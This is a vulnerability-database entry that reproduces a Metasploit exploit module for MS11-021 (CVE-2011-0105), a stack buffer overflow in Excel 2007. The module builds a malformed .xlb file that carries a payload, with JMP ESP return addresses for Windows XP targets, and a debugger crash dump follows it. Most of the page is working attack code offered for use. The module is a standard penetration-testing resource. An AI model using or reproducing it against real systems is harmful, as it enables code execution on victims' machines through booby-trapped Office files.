MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow

2011-11-05T23:05:42
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/MS11_021_XLB_BOF
Type metasploit
Reporter Rapid7
Modified 2017-09-22T23:49:09

Description

This module exploits a vulnerability found in Excel of Microsoft Office 2007. By supplying a malformed .xlb file, an attacker can control the content (source) of a memcpy routine, and the number of bytes to copy, therefore causing a stack- based buffer overflow. This results in arbitrary code execution under the context of the user.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Excel of Microsoft Office 2007.
        By supplying a malformed .xlb file, an attacker can control the content (source)
        of a memcpy routine, and the number of bytes to copy, therefore causing a stack-
        based buffer overflow.  This results in arbitrary code execution under the context of
        the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Aniway',       # Initial discovery (via ZDI)
          'Unknown',      # Abysssec, RCA, poc
          'sinn3r',       # Metasploit
          'juan vazquez'  # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2011-0105'],
          ['OSVDB', '71765'],
          ['MSB', 'MS11-021'],
          ['ZDI', '11-121']
        ],
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'          => "process",
          'DisablePayloadHandler' => 'true',
          'InitialAutoRunScript'  => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Win XP SP3 (Vista and 7 will try to repair the file)
          ['Microsoft Office Excel 2007 on Windows XP',     {'Ret' => 0x3006A48D }], # JMP ESP in EXCEL (Office 2007)
          ['Microsoft Office Excel 2007 SP2 on Windows XP', {'Ret'=>0x3006b185}],    #JMP ESP in excel
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 9 2011",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [true, 'The filename', 'msf.xlb'])
        ])
  end

  def exploit
    path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-0105.xlb')
    f = File.open(path, 'rb')
    template = f.read
    f.close

    p = payload.encoded

    # Offset 1556
    record = ''
    record << "\xa7\x00"                        #record type
    record << "\x04\x00"                        #record length
    if target.name =~ /Excel 2007 SP2/ # Microsoft Office Excel 2007 SP2
      record << "\xb0\x0d\x0c\x00"                #data
    else
      record << "\xb0\x0f\x0c\x00"                #data
    end

    # Offset 1564
    continue_record = ''
    continue_record << "\x3c\x00"               #record type
    continue_record << [p.length+32].pack('v')  #length

    buf  = ''
    buf << template[0, 1556]
    buf << record
    buf << continue_record
    buf << rand_text_alpha(1)
    buf << [target.ret].pack('V*')
    buf << "\x00"*12
    buf << p
    buf << template[2336, template.length]

    file_create(buf)
  end
end

=begin
0:000> r
eax=41414141 ebx=00000000 ecx=00000006 edx=008c1504 esi=0000007f edi=00000005
eip=301a263d esp=00137ef8 ebp=00137f6c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
EXCEL!Ordinal40+0x1a263d:
301a263d 8908            mov     dword ptr [eax],ecx  ds:0023:41414141=????????
0:000> dc esp
00137ef8  00000000 00000000 41414141 41414141  ........AAAAAAAA
00137f08  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f18  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f28  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f38  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f48  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f58  41414141 41414141 41414141 00000000  AAAAAAAAAAAA....
00137f68  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
=end